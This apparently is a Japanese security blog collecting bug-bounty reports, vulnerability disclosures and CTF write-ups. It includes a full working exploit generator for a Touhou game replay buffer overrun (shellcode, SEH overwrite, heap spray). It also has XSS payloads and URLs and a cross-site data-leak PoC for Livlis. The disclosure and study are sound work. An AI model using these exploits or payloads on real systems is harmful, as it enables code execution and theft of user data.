Chrome Toolboxの脆弱性を見つけてGoogleから1000ドルもらった
Googleのウェブサービスやソフトウェアに脆弱性を見つけると金がもらえる。詳細。世界中のスーパーハカーが探しているから簡単に見つかる脆弱性なんてもう残っていないだろうと思っていたが、偶然見つけてしまい、報酬として1000ドルもらった。
Chrome Toolbox
Chrome ToolboxはGoogle謹製のChrome拡張で、Chromeに細々とした機能を追加してくれる。タブをマウスホイールで切り替えられる機能と、ウィンドウを閉じようとしたときに警告してくれる機能が便利で使っていた。他にも画像を壁紙に設定するとか、フォームの自動入力とかの機能がある。NPAPIを使用していて、ChromeのNPAPIが削除されることから、最初はストアから消え、復活したと思ったらChrome Toolboxをアンインストールするだけのアプリになっていた。これが自動アップデートでインストールされるので今動いているChrome Toolboxは無いはず。
脆弱性の詳細
単純なDOM Based XSS。フォームの自動入力のページタイトルやURLと、ショートカットキーで開くページをブックマークから選択する箇所でエスケープがされていなかった。
Chrome Toolboxを無理矢理manifest v2に対応させて動かしてみたけど、Content Security Policyのせいで、imgタグのonerrorは動かなかった。Content Security Policyすごい。
コードを見るとinnerHTMLやevalを多用していて、あまりセキュリティのことを考えていないようだった。扱うデータは基本的にユーザーが入力するものだからかもしれない。
攻撃者が狙って攻撃することは難しそうだけど、この脆弱性を発見したのはタグを含んだページの上で間違ってフォームの内容を保存するショートカットキー(F10)を押してしまったからなので、タイトルに細工した罠ページを作れば引っ掛かる人がいるかもしれないと添えて報告した。
mixiに報告した脆弱性4
mixiの脆弱性報告制度(すでに終了している)で報告した脆弱性。
LivlisにログインしているユーザーのTwitterアカウント名の漏洩
- 2013/12/19 報告
- 2014/05/15 60,000円のAmazonギフト券が届いた
- 2014/07/08 修正完了
Livlisはmixi子会社のkamadoが運営するサービス。現在、Twitterでログインしてソースを見ると、
<script type="text/javascript"> var L = { "ShowUser": { "user_id": "50315", "screen_name": "kusano\u3055\u3093@\u304c\u3093\u3070\u3089\u306a\u3044", "name": "kusano_k", "profile_image_url": "http:\/\/pbs.twimg.com\/profile_images\/344513261568620402\/c29dcfb156335e23fc3fd76ed66b2fd4_normal.png", "bookmarks": [] }, "URL": { "ssl": "https:\/\/www.livlis.com", "api": "http:\/\/www.livlis.com" }, "Cities": [
という部分がある。ページ中では1行だが整形した。報告時はこの部分が
<script type="text/javascript" src="/contents/js"></script>
と別ファイルを読むようになっていた。これでは、
<script src="http://www.livlis.com/contents/js"></script> <script> alert(L.ShowUser.name) </script>
というようなページをLivlisにログインしたまま開いてしまうと、Twitterのユーザー名などが漏洩してしまう。
mixiのパスワードリマインダー
- 2014/02/12 報告
- 2014/06/09 修正完了&報酬支払い対象外との連絡
mixiのパスワードリマインダーには、メールアドレスの一部を照会するという機能がある。ページには
※この機能は、「プロフィール検索」設定が「公開」であり、かつ「生まれた年」「誕生日」が「全体に公開」になっている方のみご利用いただけます。
と書かれているが、任意のユーザーのメールアドレスの一部を照会することが可能だった。適当なパラメタで検索して、ユーザーを選択する画面でソース中のユーザーIDをメールアドレスを知りたいユーザーのIDに書き換えれば良かった。
私はそもそもメールアドレスの一部を照会するという機能があることは知らなかったし、知らない人は多そう。珍しいドメインのメールアドレスを使っている人は、メールアドレスを変えるなり、上述の条件を満たさないようにしてこの機能を使えなくするなりしたほうが良いかもしれない。
SECCON 2014 オンライン予選(日本語) Write-up
ぼっチームsuperflipは1403点、24位だった。
練習問題 練習問題 100点
FLAG{seccon2014}
このパケットを解析せよ ネットワーク 100点
FTP通信。FTPは制御とファイル転送は別のポートで行う。55番目のパケットに、
RkxBR3tGN1AgMTUgTjA3IDUzQ1VSM30=
というファイルがあり、Base64デコードすると、
FLAG{F7P 15 N07 53CUR3}
ソーシャルハック ネットワーク 300点
今流行のLINE乗っ取り。こちらの用意したサイトにアクセスさせると、
MyVNCpasswordIsVNCpass123
というリファラが付いているので、接続元にVNCで接続すれば良い。
FLAG{giveMeYourWebM0n3y}
decode me 暗号 100点
EUCの中国語ファイル。ROT13にすると英語部分が
SECCON 2014 rot13/47
になる。[0xa1, 0xfe]の文字に対して47を引いたり足したりすれば良い。
nkfでできると復号文に書いてあった( ・∀・)つ〃∩ ヘェーヘェーヘェー
nkf -r encoded.txt > decoded.txt
SECCON 2014 に参加のみなさまこんにちは。 rot13/47 に気付くとは流石です。 nkfコマンドで簡単にデコードできることにも気付きましたか? というわけで、おめでとうございます! フラグは半角英数文字に変換してから入力してください。 FLAG{Have fun SECCON2014}
FLAG{Have fun SECCON2014}
Decrypt it! 暗号 300点
最後のほう取り組んでいたが、結局解けなかった。第一段階はZIPの既知平文攻撃。pkcrackで攻撃できる。CardWareだけど、絵はがき送っていない。ごめんなさい(´・ω・`)
>pkcrack.exe -c crypt -p crypt -C flag.zip -P crypt.zip Files read. Starting stage 1 on Sat Jul 19 18:00:56 2014 Generating 1st generation of possible key2_5158 values...done. Found 4194304 possible key2-values. Now we're trying to reduce these... Done. Left with 3282 possible Values. bestOffset is 24. Stage 1 completed. Starting stage 2 on Sat Jul 19 18:01:09 2014 Ta-daaaaa! key0=376bccce, key1=6037696a, key2=eeb7849c Probabilistic test succeeded for 5139 bytes. Strange... had a false hit. Strange... had a false hit. Stage 2 completed. Starting password search on Sat Jul 19 18:02:23 2014 Key: 34 35 65 50 58 38 54 64 2d 3a Or as a string: '45ePX8Td-:' (without the enclosing single quotes) Finished on Sat Jul 19 18:02:52 2014
ZIPを解凍するとPDFをcryptで暗号化したファイルが出てくる。せめて、公開鍵を問題に含めてほしかったorz
2014/07/20 追記
最後まで解いた。
ZIPの中にはreadme.txtも入っていて、中身は、
$ ./makekey pri.txt pub.txt $ ./crypt 1 pub.txt flag.pdf flag.bin $ rm *.txt flag.pdf
cryptを解析すると、次のプログラムの前半部のような処理をしていることが分かる。
import sys import struct key = map(int, open(sys.argv[2]).read().split()) if sys.argv[1]!="0": P = open(sys.argv[3], "rb").read() C = [] for p in P: C += [sum(key[7-i] for i in range(8) if ord(p)>>i&1)] open(sys.argv[4], "wb").write( struct.pack("<I", len(P)*4) + "".join(struct.pack("<I",c) for c in C).encode("zlib")) else: T = {} for p in range(256): T[sum(key[7-i] for i in range(8) if p>>i&1)] = p buf = open(sys.argv[3], "rb").read() n = struct.unpack("<I", buf[:4])[0]/4 C = struct.unpack("<"+"I"*n, buf[4:].decode("zlib")) P = "".join(chr(T[c]) for c in C) open(sys.argv[4], "wb").write(P)
各ビットの位置に対応する値が決まっていて、そのビットが立っていればその値を足し合わせるという暗号化。
pub.txtも消されているので、まずはpub.txtを復元する。暗号化前のファイルがPDFと分かっているので、例えば最初の8バイトは%PDF-1.3であるし、PDF中にはテキストも含まれているので他にもいくつかのバイトの暗号前後の値が分かる。
0x25 → 439 0x50 → 310 0x44 → 266 0x46 → 667 :
例えば、0x44と0x46の差分は0x02なので0x02に対応する値は667-266=401である。同様にして最上位ビット以外の値は求めることができる。最上位ビットは暗号文中の最大の値から0x7fに対応する値を引けば良い。pub.txtは次の通り、左が上位ビット。
380 214 48 96 109 52 401 339
ブロックサイズが8ビットしかないので、平文と暗号文のペアを求めておけば復号できる。それが↑のプログラムの後半のコード。
Merkle-Hellmanナップサック暗号という暗号方式らしい。
また、問題プログラムの復号ルーチンにはrとqが埋め込まれている。r=843, q=463。rのmod qにおける逆元はr-1=357なので、pub.txtの各値xに対してx*357%463を求めれば、pri.txtが生成できる。
1 3 5 10 21 44 90 180
pri.txtがあれば、問題プログラムを使っても復号できる。
$ ./crypt 0 pri.txt flag.bin flag.pdf
FLAG{MeRkleHellmAnKnApsAckCRyptOsysteM}
879,394bytes フォレンジック 100点
ファイルイメージの一部が問題で879,394bytesのファイルのファイル名を答える。0x000D6B22で検索したら、Chrys_anthem_umとかCHRYSA~1JPGとか文字が見えたので、
Chrysanthemum.jpg
をサブミットしたら正解だった。
x86アセンブラを読もう バイナリ 100点
x86のアセブラの実行結果を答える問題。Immunity Debuggerで適当なプログラムを動かして、問題のアセンブラを上書きすれば良い。
0136104B 6A FF PUSH FF
で実際はスタックにFFFFFFFFが積まれるけれど、スタックに積まれた値を000000FFに書き換えたら答えになった。何故だろう?
32638
重ねてみよう プログラミング 100点
白黒のアニメーションGIF。Photoshopで開いてレイヤーを「比較(明)」に変えていった。まとめて変更できなくて面倒だった。白黒反転させるとQRコードになる。元からそうなのかPhotoshopの制限なのか、少し書けてるが画素があったので、手書きで修正したら読み取れた。
FLAG{Many dot makes a QR code}
あみだくじ プログラミング 300点
あみだくじで正解の番号を選んでいく。実行ごとに結果が変わらないので最初は手作業でやっていたが、さすがに面倒になった。プログラムでは縦棒は無視して横棒が出てきたときに両端の文字を入れ替えていって、最後に*と同じ位置の数字を答えれば良い。上下が反転してもプログラムはほぼそのまま。横向きになるときは最初に回転させるようにした。
import subprocess import sys p = subprocess.Popen(["./amida"], stdin=subprocess.PIPE, stdout=subprocess.PIPE) for i in range(1,100000): s = "" while True: c = p.stdout.read(1) sys.stdout.write(c) sys.stdout.flush() s += c if c=="?": break s = s.split("\n") if "-------------------" in s[1]: tmp = s[1:-1] del s[1:] for t in tmp: t += " "*(len(tmp[0])-len(t)) for j in range(len(tmp[0])): s += [""] for k in range(len(tmp)): if tmp[k][j]=="-": s[-1] += "|" elif tmp[k][j]=="|": s[-1] += "-" else: s[-1] += tmp[k][j] T = list(s[1]) j = 2 while True: if "|" not in s[j]: break ks = -1 for k in range(len(s[j])): if s[j][k]=="-": if ks==-1: ks = k else: if ks!=-1: T[ks-1],T[k] = T[k],T[ks-1] ks = -1 j += 1 S = list(s[j]) for t,s in zip(T,S): if s=="*": ans = t if t=="*": ans = s print "Ans:", ans p.stdin.write(ans+"\n") p.stdin.flush()
No.1 1 2 3 4 5 6 7 8 |-| |-| | | |-| | | | | | |-| | | | | | | | |-| |-| | |-| | | | | | |-| |-| |-| |-| | |-| | | | | |-| | |-| |-| |-| |-| | | | | | | | | |-| | | | | |-| | | |-| |-| | | |-| | | | | |-| | |-| | | | | | |-| | | | |-| | | |-| | | | |-| | | |-| | | | | | |-| | | |-| | |-| |-| |-| |-| | | | | | | | | | |-| | * ?Ans: 4 No.2 1 2 3 4 5 6 7 8 | |-| | | |-| | |-| |-| |-| | | | |-| | | | |-| : | | |-| | | |-| | |-| |-| | | | |-| |-| |-| | | 8 7 6 5 4 3 2 1 ?Ans: 8 No.39 * | |-| | | | |-| | | |-| | | | | |-| | |-| | |-| | | | | | | | | | | |-| |-| |-| |-| | |-| |-| | | | |-| | | | | | |-| |-| |-| | |-| |-| |-| |-| | |-| |-| |-| | |-| | | |-| |-| | | |-| | | | | |-| | |-| | |-| | | | | |-| | | | | | |-| |-| | |-| | | |-| |-| | | | |-| | | | | |-| | | |-| | |-| | | |-| |-| 8 7 6 5 4 3 2 1 ?Ans: 5 No.40 * |-| | |-| |-| | | |-| | |-| | | |-| |-| | | | | : |----| | | | | |--| | |----| | | | | | | | |---| |--| | | |----| | | | |-| | * ?Ans: 7 No.43 * | |----| |-| | | | | | |---| |---| |--| | |----| | | |--| | |---| | |-| | |--| | | |---| | |--| | | |----| | |---| | | |---| | |-| | | | | | |---| |---| |--| | |----| | | |--| | | | | |-| | |--| | |----| | |---| | | | | | |-| |--| | |---| | | |---| | | | | |---| | |--| | | |----| |-| | |--| | | | | | | | | |---| |---| |---| |--| | |----| |-| | | | |---| |---| | |--| | 1 2 3 4 5 6 7 8 ?Ans: 6 No.44 * |---| | |--| | | | | | | | |--| |---| | |--| | | |----| | : | |-| |-| |-| | | | | | | | |-| 8 7 6 5 4 3 2 1 ?Ans: 5 No.541 -------------------1 | | | | | | | | | | | | | | -------------------2 | | | | | | | | | -------------------3 | | | | | | | -------------------4 | | | | | | | | | | | | | | | | | | | | | | | | | | | | -------------------5 | | | | | | | | | | | | | | | | | | | | *-------------------6 | | | | | | | | | | -------------------7 | | | | | | | | | | -------------------8 ?Ans: 8 No.542 1 2 3 4 5 6 7 8 | | | | |-| |-| | | |-| | | | | | | | | | | | | : -------------------7 | | | | | | | *-------------------8 ?Ans: 8 No.1000 1 2 3 4 5 6 7 8 | | |-| |-| |-| | | | |-| |-| | |-| | | |-| | | | | |-| | |-| | | |-| | | | | | |-| |-| | |-| | | | | | |-| | | | | |-| | | |-| | |-| |-| |-| | |-| | | | | |-| | |-| |-| | | | | | |-| |-| |-| |-| | |-| |-| | | |-| | | | | | |-| | | |-| |-| | |-| |-| | | | | | | | | | | | |-| | |-| | |-| | | |-| | | | | * ?Ans: 3 FLAG{c4693af1761200417d5645bd084e28f0f2b426bf}
FLAG{c4693af1761200417d5645bd084e28f0f2b426bf}
箱庭XSSリターンズ Web 300点
こんな問題。一度使った単語は以降のステージでは使えなくなる。
"><script>_='aconstructor'.slice(1001-1000),__='aalert'.slice(1001-1000),___='aXSS'.slice(1001-1000),{}[_][_](__+'(\''+___+'\')')()</script> "onmouseover="_='bconstructor'.substring(1003-1002),__='balert'.substring(1003-1002),___='bXSS'.substring(1003-1002),{}[_][_](__+'(\''+___+'\')')() "onmousedown="_='cconstructor'.substr(1005-1004),__='calert'.substr(1005-1004),___='cXSS'.substr(1005-1004),{}[_][_](__+'(\''+___+'\')')() "onmouseup="_='constructor',__='alert',___='XSS',{}[_][_](__+'(\''+___+'\')')() "onclick="_='constructor',__='alert',___='XSS',{}[_][_](__+'(\''+___+'\')')() "onkeydown="_='constructor',__='alert',___='XSS',{}[_][_](__+'(\''+___+'\')')() "onfocus="_='\u0063onstructor',__='\u0061lert',___='\u0058SS',{}[_][_](__+'(\''+___+'\')')() "onchange="_='\143onstructor',__='\141lert',___='\130SS',{}[_][_](__+'(\''+___+'\')')()
これで部分点は貰えた。jjencodeで記号だけにすれば良いのではと思ったけど、内部で使っているIEが古いらしく、"hogehoge"[1]と文字を取り出すことができないので、動かなかった(´・ω・`)
FLAG{dbe6Z7bdbpa3e7cdcccc5c0} (100点)
LZHの関連付けをWindows標準(エクスプローラ)に戻す(初期化する)
ZIPは下記のサイトに書いてあるが、LZHが無かった。
以下の内容を拡張子.regのファイルに書いて、レジストリに追加すれば良い。Windows 7のレジストリからエクスポートしたけど、Windows 8でも動いた。Vistaでもいけると思う。上のサイトではHKEY_CLASSES_ROOT\LzhCompressedFolder2を一度削除しているようだけど、その処理は入れていない。HKEY_CLASSES_ROOT\.lzhも含めておいた。
Windows Registry Editor Version 5.00 [HKEY_CLASSES_ROOT\LzhCompressedFolder2] @="Compressed (LZH) Folder" "FriendlyTypeName"=hex(2):40,00,25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,\ 00,6f,00,6f,00,74,00,25,00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,\ 32,00,5c,00,6c,00,7a,00,68,00,66,00,6c,00,64,00,72,00,32,00,2e,00,64,00,6c,\ 00,6c,00,2c,00,2d,00,31,00,30,00,31,00,39,00,35,00,00,00 [HKEY_CLASSES_ROOT\LzhCompressedFolder2\CLSID] @="{4F289A46-2BBB-4AE8-9EDA-E5E034707A71}" [HKEY_CLASSES_ROOT\LzhCompressedFolder2\DefaultIcon] @=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,74,00,25,\ 00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,6c,00,7a,00,\ 68,00,66,00,6c,00,64,00,72,00,32,00,2e,00,64,00,6c,00,6c,00,00,00 [HKEY_CLASSES_ROOT\LzhCompressedFolder2\shell] [HKEY_CLASSES_ROOT\LzhCompressedFolder2\shell\find] "LegacyDisable"="" "SuppressionPolicy"=dword:00000080 [HKEY_CLASSES_ROOT\LzhCompressedFolder2\shell\find\command] @=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,74,00,25,\ 00,5c,00,45,00,78,00,70,00,6c,00,6f,00,72,00,65,00,72,00,2e,00,65,00,78,00,\ 65,00,00,00 "DelegateExecute"="{a015411a-f97d-4ef3-8425-8a38d022aebc}" [HKEY_CLASSES_ROOT\LzhCompressedFolder2\shell\Open] "MultiSelectModel"="Document" [HKEY_CLASSES_ROOT\LzhCompressedFolder2\shell\Open\Command] @=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,74,00,25,\ 00,5c,00,45,00,78,00,70,00,6c,00,6f,00,72,00,65,00,72,00,2e,00,65,00,78,00,\ 65,00,20,00,2f,00,69,00,64,00,6c,00,69,00,73,00,74,00,2c,00,25,00,49,00,2c,\ 00,25,00,4c,00,00,00 "DelegateExecute"="{11dbb47c-a525-400b-9e80-a54615a090c0}" [HKEY_CLASSES_ROOT\LzhCompressedFolder2\ShellEx] [HKEY_CLASSES_ROOT\LzhCompressedFolder2\ShellEx\ContextMenuHandlers] [HKEY_CLASSES_ROOT\LzhCompressedFolder2\ShellEx\ContextMenuHandlers\{58001B57-DC1F-4FAC-AC66-79E214C1A782}] @="Compressed (LZH) Folder Menu" [HKEY_CLASSES_ROOT\LzhCompressedFolder2\ShellEx\StorageHandler] @="{4F289A46-2BBB-4AE8-9EDA-E5E034707A71}" [HKEY_CLASSES_ROOT\.lzh] "Content Type"="application/x-lzh-compressed" @="LzhCompressedFolder2" [HKEY_CLASSES_ROOT\.lzh\OpenWithProgids] "LzhCompressedFolder2"=""
「東方風神録 〜 Mountain of Faith.」と「04WebServer」の脆弱性
IPAに報告した「東方風神録 〜 Mountain of Faith.」と「04WebServer」の脆弱性について、IPAに情報非開示依頼の取り下げを申請して認められたので、脆弱性関連情報を公開します。私はこれらの情報の内容が真実であると確信していますし、開発者などの名誉を毀損する意図でこれらの情報を公開するわけではありません。
「東方風神録 〜 Mountain of Faith.」のバッファーオーバーラン
「東方文花帖 〜 Shoot the Bullet.」の脆弱性を見つけたときに、東方シリーズの他の作品も調べていた。最近の東方シリーズはコンパイラが変わったのかスタックがカナリアで保護されていて、バッファーオーバーランでの攻撃はできないと一旦は諦めていたが、SEHオーバーライトという手法によって攻撃できた。SEHオーバーライトはこのページが詳しい。下記のExploitでは、Heap sprayという手法によってWindows XPより後のOSでも攻撃が可能になっている。
この脆弱性はプレイヤー名表示の処理に存在する。長いプレイヤー名を詰め込むと、プレイヤー名と別のパラメタの位置が被り、その位置に0x00以外のバイトがあるとプレイヤー名表示の処理以前に落ちたりして、東方文花帖と東方風神録以外の東方シリーズを攻撃することはできなかった。
ユーザーにできる対策は、信用できないリプレイデータを開かないこと。
Exploit
このzipファイルの中のreplayフォルダの中身全部を、東方風神録のreplayフォルダの中にコピーし、リプレイを再生しようとすると、メモ帳が起動する。既存のリプレイを上書きする必要があるので、避けておくこと。
生成スクリプト
# coding: utf-8 # 東方風神録 1.00a Exploit from struct import pack import array # Shell code # http://code.google.com/p/win-exec-calc-shellcode/ shell = ("31f656648b76308b760c8b761c8b6e08" "8b368b5d3c8b5c1d7801eb8b4b1867e3" "ec8b7b2001ef8b7c8ffc01ef31c09932" "1766c1ca01ae75f76681fa10f5e0e275" "cc8b532401ea0fb7144a8b7b1c01ef03" "2c97682e6578656863616c6354870424" "50ffd5"+ "33c0"+ # xor eax,eax "33c9"+ # xor ecx,ecx "49"+ # dec ecx "648908"+ # mov fs:[eax],ecx "cc" # int3 ).decode("hex") seh = 0x0c0c0c0c # address of SEH handler heap = 8*1024*1024 # size of nops def main(): d = ("\xff"*0xc + "\x33\xe9\xee\x4f" # time + "\xff"*0x3d2 + pack("<I",seh) # SEH handler + "\x90"*heap # nop + shell) # shell code d = array.array("B",(ord(x) for x in d)) print "compress" c = compress(d) print "encrypt 1" c = encrypt(c,0x3d,0x7a,0x80) print "encrypt 2" c = encrypt(c,0xaa,0xe1,0x400) t = ("t10r\x05\x00\x00\x00\x00\x00\x00\x00"+pack("<I",len(c)+0x24)+ "\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+pack("<I",len(c))+ pack("<I",len(d))+ "".join(chr(x) for x in c)) for i in range(1,16+1): open("th10_%02d.rpy"%i,"wb").write(t) def compress(d): class bitstream: def __init__(s): s.B = array.array("B") s.n = 0 def addbit(s,b): if len(s.B)<=s.n/8: s.B.append(0) s.B[s.n/8] |= b<<(7-s.n%8) s.n += 1 def add(s,d,l): for i in range(l)[::-1]: s.addbit(d>>i&1) def get(s): return s.B C = bitstream() i = 0 while i<len(d): r = 0 while i+r<len(d) and d[i+r]==d[i]: r += 1 if r<19 or (i+1)%0x2000==0: C.addbit(1) C.add(d[i],8) i += 1 else: C.addbit(1) C.add(d[i],8) for j in xrange((r-1)/18): C.addbit(0) C.add((i+1)%0x2000,13) C.add(15,4) i += 1+(r-1)/18*18 C.addbit(0) C.add(0,13) return C.get() def encrypt(d,k,kd,b): n = len(d) nd = n%b if nd>=b/4: nd=0 if n%2!=0: nd+=1 n -= nd r = d[:] bi = 0 while bi<n: bs = min(b,n-bi) p = bi for i in range((bs+1)/2): r[p] = d[bi+bs-i*2-1]^(k&0xff); k+=kd; p+=1 for i in range(bs/2): r[p] = d[bi+bs-i*2-2]^(k&0xff); k+=kd; p+=1 bi += b return r if __name__=="__main__": main()
NOPで埋めた8MBのセーブデータを16個読み込ませて、制御を0x0c0c0c0cに飛ばしている。まあ、だいたい0x0c0c0c0cにセーブデータのどれかが読み込まれているでしょう。
普通ならば電卓を起動したあとは、元のプログラムはどうなっても良いのだけど、SEHを上書きしたまま例外が発生すると、さらに電卓を起動する処理が走るので気をつけましょうw
「04WebServer」のXSS
04WebServer
404ページにXSSが存在する。
http://localhost/hoge%3Cscript%3Ealert%28location%29%3C/script%3E
mixiに報告した脆弱性3(+報告しなかった脆弱性)
mixiの脆弱性報告制度(終了)に報告した脆弱性と報告しなかった脆弱性。子会社の株式会社Diverseが運営するYYCという出会い系サイトについて。
拒否設定について
- 2014/03/12 報告
- 2014/04/11 修正完了、仕様であるため制度の対象外との連絡
YYCには特定の相手を拒否できる機能がある。この機能の説明に、
拒否したことが相手にわからない?
拒否したことはお相手にはわからないようになっています。安心してご利用ください。
との記載がある。たしかに、拒否された相手のページにアクセスすると退会したかのように表示され、拒否されたのかどうかが分からない。拒否されたかどうかを知る方法があったので報告した。方法は簡単で、新規にIDを取って相手のページにアクセスするだけ。↑の記載の削除という対応だった。
無料でメールを送れる
- 2014/05/12 報告
- 2014/05/12 修正完了
出会い系サイトはメールの送信が有料の場合が多い。YYCもそうだけど、特定の文面のメールならば無料で送ることができた。脆弱性報告制度の対象期間内に見つけたけれど、なぜか、メールを送れるだけだし脆弱性ではないなと思い報告していなかった。冷静に考えると脆弱性な気がしたので後から報告した。mixiの脆弱性報奨制度は、有料の機能が無料で使える場合、比較的報酬が高いので惜しいことをしたかもしれない。
YYCのスマホ版にはマナー返信という機能があって、お断りの定型メールは無料で送れる。
それぞれのメール送信のURLは、
http://lite.yyc.co.jp/my/mail_box/send/manner_reply?id=36&target_id=(送信相手のユーザーID)
こんな感じ。パラメタのidを書き換えたら、この5個の文面以外に、「写真を送ってくれませんか?」とか「恋人探してます!メールしましょう!」とかが出てきた。
後ろのほうのidだと「年齢認証しました」とか「個人情報が含まれているので削除しました」とか運営向けのメッセージだった。運営向けのメッセージに近いidに「このメールがどんな人に届くのかドキドキしています。」というような文面が何個かあり、これはもしかして運営がサクラをしていたという証拠では!?と思ったが、訊いてみたところ、ボトルメールという機能の定型文とのことだった。疑ってすみませんでした。
難読化されたTeXの解読(tkbctf3 Misc 100 Real World TeX)
tkbctf3で出題された問題。
問題
^^5c^^66^^75^^74^^75^^72^^65^^6c^^65^^74^^7e ^^5c^^63^^61^^74^^63^^6f^^64^^65^^60K7 KK5cKK65KK6eKK64KK6cKK69KK6eKK65KK63KK68KK61KK72- KK5cKK73KK74KK72KK69KK6eKK67KK60 KK7eKK60I13KK7eKK60G10KK5cKK6cKK65KK74 IKK7eI86G10I83G7I72G1I90V0I78V2I80G6I82G5 I13G9I76G13ZKK6cKK65KK74GLZKK6cKK65KK74I65G13LZSS46ZKK66SS6fKK6eKK74VLZSS54ZSS6dSS61SS67KK73KK74SS65KK70V ZSS46ZSS62KK69SS67KK3dSS63KK6dKK7210VKK73SS63SS61KK6cKK65SS64VZSS6dKK61KK67KK73KK74SS65KK704V ZKK46ZKK73SS63KK3dSS63KK6dKK63KK73SS6310VKK73KK63SS61SS6cSS65KK64VZKK6dKK61SS67SS73KK74KK65KK704V ZSS46ZKK62SS66SS3dSS63SS6dSS62SS7810ZKK72KK65KK6cKK61SS78V ZKK64SS65SS66ZKK68SS6fP1P2HP2P1NVLKK41ZSS68SS6fV KK60KK60HZKK62SS69KK67VSS4dNSS6fSS73SS74VKK70KK72KK6fKK67KK72SS61SS6dKK6dKK69KK6eSS67V SS6cSS61KK6eKK67KK75KK61KK67SS65SS73VKK61SS72KK65VSS70KK61KK72SS74SS6cSS79VSS61VKK77KK61SS79VSS6fSS66V SS65SS78SS70KK72SS65SS73KK73SS69SS6eKK67VSS74SS68KK69KK6eKK67SS73VKK69KK6eVV SS74SS65SS72SS6dKK73VSS6fSS66VVSS6fSS74KK68SS65KK72VKK74SS68KK69SS6eSS67SS73V KK61KK6eKK64VSS70SS61SS72KK74SS6cSS79VVSS61VSS62SS61SS73KK69SS63VSS73KK65SS74V SS6fSS66VKK67SS69SS76SS65SS6eVKK74SS68SS69KK6eKK67SS73SS2eKK27KK27VZKK76SS73KK6bSS69SS70V10KK70KK74V HZSS73KK63ZSS63KK61SS74KK63SS6fKK64KK65KK60SS4912VKK41SS73KK49SS41KK69SS6dKK6dNVKK69SS73VV KK74KK68KK65VHZKK62KK66VSS6bSS65SS79SS77KK6fKK72KK64NVSS6fKK66VSS74KK68KK69KK73VSS71KK75KK65KK73SS74KK69KK6fKK6eKK21V ZKK6eSS65SS77SS77SS72KK69SS74SS65ZSS61ZKK72SS65KK6cSS61SS78V ZSS6fKK70KK65KK6eSS6fSS75KK74ZSS61KK3dZSS6aKK6fSS62KK6eSS61SS6dKK65SS2eKK69KK64KK78ZSS72KK65SS6cSS61KK78V ZKK77KK72KK69KK74KK65ZKK61HKK41SS61SS4cKK6eKK411SS64SS6eVSS69KK73VSS61KK6eSS6fKK74SS68KK65SS72VKK6bKK65SS79SS77KK6fKK72KK64KK21NV ZKK63KK6cSS6fKK73KK65SS6fSS75SS74ZSS61ZSS72SS65SS6cKK61KK78VZKK62SS79KK65
実はこれは正しいTeXファイルで、先頭に
\documentclass{article} \begin{document}
を、末尾に
\end{document}
を追加するとコンパイルできて、1個目のフラグが表示される。(ファイル名).idxに2個目のフラグが出力される。
どのようにコンパイルされているのか辿ってみたら面白かった。
1行目
TeXでは^^nnは文字コード0xnnの文字になる。これで1行目が解読できる。
\futurelet~ \catcode`K7
\futureletが良く分からないけど、まず\catcode`K7が実行され、以降に~ A Bが出てくると\catcode A Bが実行されるらしい。\catcodeは\catcode `K 7でKのカテゴリーコードを7にする。`Kの代わりに、\catcode 75 7と、文字コードを10進数で書くこともできる。カテゴリーコードはここに載っている。\catcode`K7によって、以降Kは^と同じ働きをするようになる。よって、KKnnは文字コード0xnnの文字になる。
\futurelet~ \catcode`K7 \endlinechar- \string` ~`I13~`G10\let I~I86G10I83G7I72G1I90V0I78V2I80G6I82G5 I13G9I76G13ZletGLZletI65G13LZSS46ZfSS6fntVLZSS54ZSS6dSS61SS67stSS65pV ZSS46ZSS62iSS67=SS63mr10VsSS63SS61leSS64VZSS6dagstSS65p4V ZFZsSS63=SS63mcsSS6310VscSS61SS6cSS65dVZmaSS67SS73tep4V ZSS46ZbSS66SS3dSS63SS6dSS62SS7810ZrelaSS78V ZdSS65SS66ZhSS6fP1P2HP2P1NVLAZSS68SS6fV ``HZbSS69gVSS4dNSS6fSS73SS74VprogrSS61SS6dminSS67V SS6cSS61nguagSS65SS73VaSS72eVSS70arSS74SS6cSS79VSS61VwaSS79VSS6fSS66V SS65SS78SS70rSS65SS73sSS69SS6egVSS74SS68ingSS73VinVV SS74SS65SS72SS6dsVSS6fSS66VVSS6fSS74hSS65rVtSS68iSS6eSS67SS73V andVSS70SS61SS72tSS6cSS79VVSS61VSS62SS61SS73iSS63VSS73eSS74V SS6fSS66VgSS69SS76SS65SS6eVtSS68SS69ngSS73SS2e''VZvSS73kSS69SS70V10ptV HZSS73cZSS63aSS74cSS6fde`SS4912VASS73ISS41iSS6dmNViSS73VV theVHZbfVSS6bSS65SS79SS77ordNVSS6ffVSS74hisVSS71uesSS74ion!V ZnSS65SS77SS77SS72iSS74SS65ZSS61ZrSS65lSS61SS78V ZSS6fpenSS6fSS75tZSS61=ZSS6aoSS62nSS61SS6deSS2eidxZSS72eSS6cSS61xV ZwriteZaHASS61SS4cnA1SS64SS6eVSS69sVSS61nSS6ftSS68eSS72VkeSS79SS77ord!NV ZclSS6fseSS6fSS75SS74ZSS61ZSS72SS65SS6caxVZbSS79e
3行目(と4行目の一部)
~`I13~`G10
~が\catcodeになっているので、これは、
\catcode `I 13 \catcode `G 10
と等価。Iのカテゴリコードを~と同じに、Gのカテゴリコードを空白と同じにしている。Iのカテゴリコードを英文字から変えたことで、\Iではなく、Iだけでコマンドとして使えるようになる。
\let I~
Iに~を代入。今、~は\catcodeなので、I A Bと書くと、\catcode A Bになる。
I86G10I83G7I72G1I90V0I78V2I80G6I82G5 I13G9I76G13
Iが\catcodeでGが空白文字なので、
\catcode 86 10 % V → [ ] \catcode 83 7 % S → ^ \catcode 72 1 % H → { \catcode 90 0 % Z → \ \catcode 78 2 % N → } \catcode 80 6 % P → # \catcode 82 5 % R → \n \catcode 13 9 % \r → \0 \catcode 76 13 % L → ~
になる。
Sが^なので、以降、SSnnは0xnnになる。
